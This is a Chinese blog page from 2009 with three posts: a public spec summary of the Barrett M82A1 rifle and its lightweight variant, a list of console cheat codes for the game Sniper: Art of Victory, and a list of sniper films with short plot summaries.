　　针对M82A1重量大的缺点，后来巴雷特公司又研究了M82A1LW，即轻重量型(Light Weight)M82A1，比标准型的M82A1轻约2.3kg，上机匣和两脚架改为铝质材料，枪机和机框质量减轻了约0.5kg，枪口制退器和一些小零件改由钛合金制成品。
　　巴雷特M82A1的后坐力很小，这是因为一部分后坐能量作用于枪管、枪机和枪机框的向后运动及压缩复进簧，另外，枪本身也吸收了部分后坐能量，但最主要还是其高效的枪口制退器减少了大部分的后坐力，这就保证了射击时的舒适性及射击精度。枪托底部还有一个特种橡胶后座垫，据说后坐感觉比12号口径的霰弹枪要好，而后坐力明显比7.62mm口径的步枪要小。不过这个高效制退器有个缺点，就是每发射一发枪弹时从制退器喷出的火药气体都会在射手附近卷起大量尘土和松散颗粒。
　　全长：1447.8 mm(57 in)
　　枪管长：736.7 mm(29 in)
　　枪管缠距：381 mm
　　枪重：12.9 kg(28.5磅)
　　弹匣容量：10 rds
　　分解后最大长度：965.2 mm(38 in)
　　最大射程：1830 m

分类: 乱七八糟 标签: ,

《狙击手:胜利的艺术》秘籍

2009年7月12日 Chinadu 没有评论 1,487 views

游戏秘籍：
　　游戏中按 ～ 输入以下秘籍：
　　秘籍 作用
　　Cheat.GodMode() 无敌模式
　　Cheat.AddAmmo() 子弹+500
　　Cheat.FullHealth() 最大生命
　　Cheat.GiveAllWeapons() 所有武器
　　Cheat.TuneClip() 增加弹药量
　　Cheat.TuneGun() 增加火力
　　Cheat.GiveAllAmmo() 所有弹药
　　Cheat.NextMission() 跳到下一关
　　注意区分大小写，秘籍中间的“.”必须输入
　　武器弹药相关的秘籍：
　　注意：**代表对应武器弹药
　　秘籍 作用
　　Cheat.GiveKnife 刀
　　Cheat.GiveMachete 大砍刀
　　Cheat.GiveColt 手枪
　　Cheat.GiveColtAmmo **手枪
　　Cheat.GiveDesertEagle 沙漠之鹰
　　Cheat.GiveDesertEagleAmmo **沙漠之鹰
　　Cheat.GiveSnWmod39 SnWmod39
　　Cheat.GiveSnWmod39Ammo **SnWmod39
　　Cheat.GiveSpas SPAS
　　Cheat.GiveSpasAmmo **SPAS
　　Cheat.GiveM16 M16
　　Cheat.GiveM16Ammo **M16
　　Cheat.GiveAK47 AK47
　　Cheat.GiveAK47Ammo **AK47
　　Cheat.GiveMP5 MP5
　　Cheat.GiveMP5Ammo **MP5
　　Cheat.GiveM14 M14
　　Cheat.GiveM14Ammo **M14
　　Cheat.GiveM16A1 M16A1
　　Cheat.GiveM16A1Ammo **M16A1
　　Cheat.GiveM60 M60
　　Cheat.GiveM60Ammo **M60
　　Cheat.GiveM79CAW M79CAW
　　Cheat.GiveM79CAWAmmo **M79CAW
　　Cheat.GivePPSh41 PPSh41
　　Cheat.GivePPSh41Ammo **PPSh41
　　Cheat.GiveRPK RPK
　　Cheat.GiveRPKAmmo **RPK
　　Cheat.GiveSniper 狙击枪
　　Cheat.GiveSniperAmmo **狙击枪
　　Cheat.GiveCrossbow 十字弓
　　Cheat.GiveCrossbowAmmo **十字弓
　　Cheat.GiveM40Remi700 M40 Remi 700
　　Cheat.GiveM40Remi700Ammo **M40 Remi 700
　　Cheat.GiveRocketLauncher 火箭发射器
　　Cheat.GiveRocketLauncherAmmo **火箭发射器
　　Cheat.GiveGrenadeLauncher 榴弹发射器
　　Cheat.GiveGrenadeLauncherAmmo **榴弹发射器
　　Cheat.GiveRPG7 RPG7
　　Cheat.GiveRPG7Ammo **RPG7
　　Cheat.GiveGrenade 手榴弹
　　Cheat.GiveClaymore 克莱莫
　　Cheat.GiveWeaponKnife 刀
　　Cheat.GiveWeaponAK74 AK74
　　Cheat.GiveAmmoAK74 **AK74
　　Cheat.GiveWeaponAK74Granatnik AK74 Granatnik
　　Cheat.GiveAmmoAK74Granatnik **AK74 Granatnik
　　Cheat.GiveWeaponFamas 珐玛丝
　　Cheat.GiveAmmoFamas **FAMAS
　　Cheat.GiveWeaponFRF2 FRF2
　　Cheat.GiveAmmoFRF2 **FRF2
　　Cheat.GiveWeaponHKPSG1 HPKSG1
　　Cheat.GiveAmmoHKPSG1 **HPKSG1
　　Cheat.GiveWeaponHKUSP HKUSP
　　Cheat.GiveAmmoHKUSP **HKUSP
　　Cheat.GiveWeaponLRAC89 LRAC89
　　Cheat.GiveAmmoLRAC89 **LRAC89
　　Cheat.GiveWeaponM1911 M1911
　　Cheat.GiveAmmoM1911 **M1911
　　Cheat.GiveWeaponMilkorMGL140 Milkor MGL140
　　Cheat.GiveAmmoMilkorMGL140 **Milkor MGL140
　　Cheat.GiveWeaponMP5sd6 MP5sd6
　　Cheat.GiveAmmoMP5sd6 **MP5sd6
　　Cheat.GiveWeaponRPG7 RPG7
　　Cheat.GiveAmmoRPG7 **RPG7
　　Cheat.GiveWeaponSPAS12 SPAS12
　　Cheat.GiveAmmoSPAS12 **SPAS12
　　Cheat.GiveWeaponBren Bren
　　Cheat.GiveAmmoBren **Bren
　　Cheat.GiveWeaponLuger Luger
　　Cheat.GiveAmmoLuger **Luger
　　Cheat.GiveWeaponMauser98K 毛瑟98K
　　Cheat.GiveAmmoMauser98K **毛瑟98K
　　Cheat.GiveWeaponMauser98KS 毛瑟98KS
　　Cheat.GiveAmmoMauser98KS **毛瑟98KS
　　Cheat.GiveWeaponSchmeisserMP40 施迈塞尔MP40冲锋枪
　　Cheat.GiveAmmoSchmeisserMP40 **施迈塞尔MP40冲锋枪
　　Cheat.GiveWeaponSten Sten
　　Cheat.GiveAmmoSten **Sten
　　Cheat.GiveWeaponTrenchGun 堑壕枪
　　Cheat.GiveAmmoTrenchGun **堑壕枪
　　Cheat.GiveWeaponPanzerfaust 铁拳
　　Cheat.GiveAmmoPanzerfaust **铁拳
　　Cheat.GiveGranatStiHgr24 Granat Sti Hgr24
　　Cheat.GiveWeaponSnajperka2 Snajperka2
　　Cheat.GiveAmmoSnajperka2 **Snajperka2
　　Cheat.GiveWeaponSnajperka3 Snajperka3
　　Cheat.GiveAmmoSnajperka3 **Snajperka3

分类: 影音娱乐 标签: ,

几个关于狙击手的电影

2009年7月12日 Chinadu 没有评论 90 views

前端时间看了几个关于狙击手的电影，感觉挺有意思，在网上搜了一下，现在比较好的电影有这几个，跟大家分享一下。剧评大部分都来源于网络，也有我自己的看法。慢慢我会补全

1、狙击生死线(Shooter)
　　退伍神射狙击手遭人陷害成了替罪羊，被当作刺杀总统的疑犯通缉。他决定重拾狙击枪，开始反击复仇！
　　
　　2、双狙人1(Sniper)
　　老兵贝林格与年轻的情报员米勒前往巴拿马刺杀该国军阀阿尔赫兹，在丛林中远离后方支援，两人各显示其能。
　　
　　3、双狙人2(Sniper2)
　　退伍的海军陆战队军士长贝奇到巴尔干半岛枪杀一名叛军首领，军方派给他充当观测员的却是年轻的军中死刑犯柯尔。两人完成任务后柯尔竟意外遭敌方逮捕。他才发现自己的任务根本是个幌子……
　　
　　4、双狙人3(Sniper3)
　　狙击手比吉特身为美国海军陆战队最具传奇性的狙击手和绝密武器，这次他的枪口却被逼瞄向他的一个朋友……
　　
　　5、兵临城下(Enemy at the Gates)
　　1942年冬，德军进攻斯大林格勒。传奇性的苏军狙击手瓦西里 ·扎伊采夫歼灭无数敌军。德军派出最顶尖的狙击手科宁斯上校，真正的对手来了！
　　
　　6、杀手悲歌(Shot Through the Heart)
　　维拉多和史拉柯是童年好友。波斯尼亚内战爆发时，由于政治理念不同，史拉柯成为塞尔维亚狙击手的射击教练，维拉多则因塞族狙击手屠杀无辜百姓而加入游击队，两人终于无可避免在战场上正面交锋…… 　　
　　7、全职杀手
　　杀手反町隆史生活在一个只有杀戮和孤独的世界，而刘德华喜欢杀人的刺激并立志成为头号职业杀手。两名杀手究竟谁才能在决斗中幸存？ 　　
　　8、最后刺客(Assassins)
　　雷夫是江湖上公认的头号杀手，新出道的杀手拜仁对雷夫的地位虎视眈眈。二人同时受聘暗杀电脑黑客伊丽嘉，在行动中雷夫与伊丽嘉产生爱意欲从此退出江湖。但是拜仁已开始追杀行动…… 　　
　　9、飞虎雄师
　　重案组探员余文乐希望加入飞虎队，受训完毕教官王敏德却踢他出局。一次警匪枪战，匪徒竟然接二连三击中飞虎队的狙击手，余文乐临危受命拿起狙击枪把守最后关口…… 　　
　　10、枪手
　　新入伍的武警战士郝冰，爱枪如命练枪成痴，达到枪人如一、心到弹中的地步。
　　一天战士们接到紧急通知：营救被杀人犯绑架的人质。千钧一发之际郝冰子弹出膛将歹徒击毙，将炸药安全排除。人们欢呼雷动……
　　
　　11、敢死连之无名高地
　　1944年。红军已经推进到苏联国界线。但当地秘密活动着一个德军狙击手，团长和师里最好的狙击手因而牺牲。这次是奥尔嘉·波兹德涅耶娃——全苏联射击比赛女子冠军。敌我双方生死对决，战场是森林中的一个无名高地…… 　　
　　12、枪王
　　张国荣是实战射击和改枪的高手，三年前在比赛场上在比赛场上与重案组的方中信相遇并认定彼此为对手。三年后在一次案件侦破过程中二人挑战完成当年未分出胜负的比赛…… 　　
　　13、华府惊魂23天
　　911事件后，美国最轰动的恐怖活动！冷枪防不胜防，首都人人自危！
　　2002年10月2日，一声枪响，一名无辜华盛顿市民中枪倒地。
　　自那一刻，同样手法的凶案接连发生，受害人包括男女老幼。首府警方全力缉凶，恐怖气氛已经渐渐蔓延至全国…… 　　
　　14、狩猎者
　　十六岁的山子打小跟着爹打猎，练就了好枪法。
　　鬼子扫荡根据地，战斗异常惨烈。山子拾起一杆中正式，一枪就撂倒一个，成了阻挡敌人的最有效办法。鬼子冲上阵地，战士将山子推下山涧。山子从昏迷中醒来，阵地上已经无人生还。从此山子开始了独自的复仇行动……
　　
　　15、重装悍将
　　狙击手飞鹰一号执行多次暗杀行动后为自己的屠杀行为感到忏悔，指挥官察觉后暗中派杀手消灭他，而其女助理侦测员飞鹰二号并不知情，二人被困在摩天大楼里展开了惊心动迫的自救行动。 　　
　　16、一号通缉令
　　海军陆战队员邓恩在狙击任务时因拒绝杀害无辜男童，被军事法庭判处死刑。
　　被押途中一恐怖组织劫持邓恩，强迫他狙杀贩卖生化武器的商人卡波特。就在瞄准的一瞬间，卡波特身边的第一夫人中枪倒下。邓恩成为了全国皆知的“头号通缉犯”…… 　　
　　17、狙击手
　　女狙击手阿利娅被派往驻守在距德军不足百米的四营三连，此后她尝到了亲手击毙德军狙击手的欣喜滋味。1944年围歼德军最后一个阵地的战斗中，阿利娅第一个冲进德军阵地，光荣牺牲。为纪念牺牲的女子狙击手们，阿利娅被授予“苏联女英雄”称号。 　　
　　18、第四十一个
　　苏联国内战争时期，红军神枪手玛柳特卡接连射杀40个敌人，第41发子弹却落空：投降的是一位年轻英俊的白军中尉。押解途中两人被海浪冲到一处孤岛，日久生情，但在政治立场上又经常争论。一天有船驶经孤岛，中尉迎船奔去，玛柳特卡呼叫无效之下击毙了她的爱人。

19、神枪手

香港飞虎队三代神枪手的纠葛，从被出卖到被救赎，凌靖一直都只活在自己的世界里，只要自己的妻子晶莹才体贴着他。这是三个帅哥的表演。

分类: 影音娱乐 标签: